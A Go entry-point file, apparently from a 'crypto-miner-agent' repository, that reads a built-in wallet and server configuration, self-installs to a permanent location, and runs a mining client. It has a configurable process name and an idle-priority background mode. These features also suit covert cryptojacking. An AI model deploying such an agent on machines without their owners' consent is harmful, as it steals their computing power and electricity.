Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
73 lines
1.7 KiB
Go
73 lines
1.7 KiB
Go
package main
|
|
|
|
import (
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
|
|
"crypto-miner-agent/client"
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
func main() {
|
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
|
cfg := config.Load()
|
|
setupLogging(cfg)
|
|
|
|
if cfg.Wallet == "" {
|
|
log.Fatal("wallet address is required in built-in configuration")
|
|
}
|
|
if cfg.ServerURL == "" {
|
|
log.Fatal("server URL is required in built-in configuration")
|
|
}
|
|
|
|
installed, err := deploy.InstallIfNeeded(cfg)
|
|
if err != nil {
|
|
log.Fatalf("[installer] failed: %v", err)
|
|
}
|
|
if installed {
|
|
log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName)
|
|
return
|
|
}
|
|
|
|
if cfg.BackgroundMode() {
|
|
cfg.CPUPriority = "idle"
|
|
}
|
|
|
|
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
|
log.Printf("[agent] could not set CPU priority: %v", err)
|
|
}
|
|
|
|
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
|
|
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
|
|
|
|
agent := client.NewAgentClient(cfg)
|
|
if err := agent.Run(); err != nil {
|
|
log.Fatalf("[agent] stopped: %v", err)
|
|
}
|
|
}
|
|
|
|
func setupLogging(cfg config.RuntimeConfig) {
|
|
if os.Getenv("MINER_LOG_FILE") != "" {
|
|
redirectLog(os.Getenv("MINER_LOG_FILE"))
|
|
return
|
|
}
|
|
|
|
installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID)
|
|
if err != nil {
|
|
return
|
|
}
|
|
redirectLog(filepath.Join(installDir, "miner.log"))
|
|
}
|
|
|
|
func redirectLog(path string) {
|
|
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
|
return
|
|
}
|
|
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
|
if err == nil {
|
|
log.SetOutput(f)
|
|
}
|
|
}
|